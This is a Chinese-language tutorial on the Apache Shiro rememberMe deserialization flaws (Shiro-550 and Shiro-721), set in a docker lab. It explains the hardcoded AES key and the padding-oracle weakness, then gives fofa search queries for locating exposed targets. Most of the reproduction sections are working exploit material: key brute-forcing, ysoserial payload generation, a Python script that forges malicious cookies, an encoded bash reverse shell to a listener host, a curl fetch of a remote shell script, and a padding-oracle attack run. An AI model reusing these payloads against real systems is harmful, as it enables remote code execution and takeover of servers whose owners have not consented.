Shiro簡介
Apache Shiro是一種功能強大且易于使用的Java安全框架,它執行身份驗證、授權、
加密和會話管理,可用于保護任何應用程序的安全。
Shiro提供了應用程序安全性API來執行以下方面:
1.身份驗證:證明用戶身份,通常稱為用戶"登錄";
2.授權:訪問控制;
3.密碼術:保護或隱藏數據以防窺視;
4.會話管理:每個用戶的時間敏感狀態。
歷史漏洞
Shiro rememberMe反序列化遠程代碼執行漏洞 Apache Shiro <= 1.2.4
Shiro-721 rememberMe 反序列化遠程代碼執行漏洞 Apache Shiro <= 1.4.1
漏洞發現
Shiro組件發現
在訪問及登錄時抓包,如果響應頭 set-cookie 中顯示 rememberMe=deleteMe ,說
明使用了 Shiro 組件。
Shiro漏洞搜索
通過fofa、zoomeye、shodan這類平臺搜索相關特征來發現目標。
例如fofa的搜索關鍵詞:
header="rememberme=deleteMe"
header="shiroCookie"
漏洞檢測工具
https://github.com/fupinglee/ShiroScan
https://github.com/sv3nbeast/ShiroScan
https://github.com/insightglacier/Shiro_exploit
https://github.com/Ares-X/shiro-exploit
Shiro-550漏洞原理
原理:Apache Shiro 框架提供了記住密碼的功能( RememberMe ),關閉瀏覽器再次訪問
時無需再登錄即可訪問。用戶登錄成功后用戶信息會經過加密編碼后存儲在 cookie中。在 Cookie 讀取過程中有用 AES 對 Cookie 值解密的過程,對于 AES 這類對稱加密算法,一旦秘鑰泄露加密便形同虛設。若秘鑰可控,同時 Cookie 值是由攻擊者構造的惡意 Payload ,就可以將流程走通,觸發危險的 Java 反序列化,從而導致遠程命令執行漏洞。
shiro 默認使用了 CookieRememberMeManager ,其處理cookie的流程是:獲取rememberMe的cookie值 –> Base64解碼 –> AES解密 –> 反序列化 。但是AES加密的密鑰Key被硬編碼(密鑰初始就被定義好不能動態改變的)在代碼里,這就意味著每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者可以構造一個惡意的對象,并且對其序列化、AES加密、base64編碼后,作為 cookie 的rememberMe 字段發送。 Shiro 將 rememberMe進行解密并且反序列化,最終就造成了反序列化的RCE漏洞。
只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都可能會導致該漏洞的產生.硬編碼是將數據直接嵌入到程序或其他可執行對象的源代碼中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。
Shiro-550漏洞復現
docker靶場環境搭建
cd shiro/
ls
cd CVE-2016-4437
docker-compose up -d
瀏覽器訪問靶場。
使用burpsuite抓取登錄包。
爆破key值。
python shiro_exploit.py -u http://171.16.1.106:8080/doLogin
爆破出來的key值為:kPH+bIxk5D2deZiIxcaaaA==
選擇一個端口進行監聽。
nc -lvvp 9999
利用反序列化工具生成payload。
bash轉換鏈接:https://ares-x.com/tools/runtime-exec
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzEuMTYuMS4xMDUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzEuMTYuMS4xMDUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
執行 shiro-exp.py 腳本構造生成 cookie
查看腳本中的參數值是否正確。
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
python shiro.py vps_ip:11111
使用burpsuite修改數據包,將生成的remember復制進去。
點擊send,返回監聽端查看是否反彈shell。
成功反彈了shell。
也可以使用腳本的方法:
將反彈shell的命令寫入shell腳本中:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections4 “curl http://171.16.1.105/zsy.sh -o /tmp/zsy.sh”
之后操作跟上邊的一樣。
Shiro-721漏洞原理
Shiro rememberMe 反序列化遠程代碼執行漏洞
原理:由于 Apache Shiro cookie 中通過 AES-128-CBC 模式加密的 rememberMe 字段存在問題,用戶可通過 Padding Oracle 加密生成的攻擊代碼來構造惡意的rememberMe 字段,并重新請求網站,進行反序列化攻擊,最終導致任意代碼執行rememberMe cookie 通過 AES-128-CBC 模式加密,易受到 Padding Oracle 攻擊。可以通過結合有效的 rememberMe cookie 作為 Padding Oracle 攻擊的前綴,然后精?制作 rememberMe 來進?反序列化攻擊。Tip:在1.2.4版本后,shiro已經更換 AES-CBC 為 AES-GCM ,無法再通過 Padding
Oracle 遍歷 key 。
影響版本
Apache Shiro <= 1.4.1
Shiro-721漏洞復現
docker搭建靶場環境。
訪問靶場地址。
使用正確的用戶和密碼,勾選rememberMe,使用burp代理,獲取返回的rememberMe值。
使用DNSlog獲取臨時域名。
使用ysoserial工具生成payload。
java -jar ysoserial.jar CommonsBeanutils1 "ping 1075l1.dnslog.cn" > payload.class
生成的文件在運行該腳本的目錄下。
使用剛才burp獲取到的rememberMe值作為prefix,加載Payload,進行Padding Oracle攻擊
腳本鏈接:Github:https://github.com/wuppp/shiro_rce_exp
運行腳本:
python shiro_exp.py http://171.16.1.106:8888 [rememberMeCookie] payload.class
python2 shiro_exp.py http://171.16.1.106:8888/PHh1FbfiWuR/CRYs2Os5fmYJbPtYD4V55kWHl41dNdfFSzSgjU0b+Z8DHtem51EHoW6bXJvMDkB7mZYJqa9Mc3EP16OnF4Dt/IuGbrxjKf0OgOO/5Y+jyFJi1h2clJz+myysxb8WTc+xruezMJya8ykcePax3H8GOLJMS0ACO0r/g1sr0x0MYynxbCUMr3fiK8c3OWlsHSyTx0QERj01dzTV9MGW5+J8SGsItQPCpr0vfya/n3TC4NhVwbEj1uTWRj88whIL6dJODo1FLGzI+tR2wMXGvtGTVxSJJjAMvMsJpbEEsO0Vl1sdsIsllA8EWqCSbHuX/zFpCHkfdl7/CSE9OCy4gu68p6W2kTMTcr2OqMrdJN/dUbQmriznoTuVDf1OiacWeP3J/XlOA35CvrrZMsSQF7G9lial9Zqenc1mz+UCUcmk5cwkVh9qTUehpKaVwGO9i34ySLlVjrRTxg4mfa1ZwTKkKs39XZL4MwSHYh5/nr/jvqLKbHwkkuLh payload.class
--------------------------------------------------中間需要很長時間(幾個小時)-------------------------------------------------------------
爆破成功,返回cookie。
再次訪問http://171.16.1.106:8888/,用burp抓包,添加剛才爆破出的remeberMe值。
到http://www.dnslog.cn/查看,返回IP。
說明ping命令執行成功。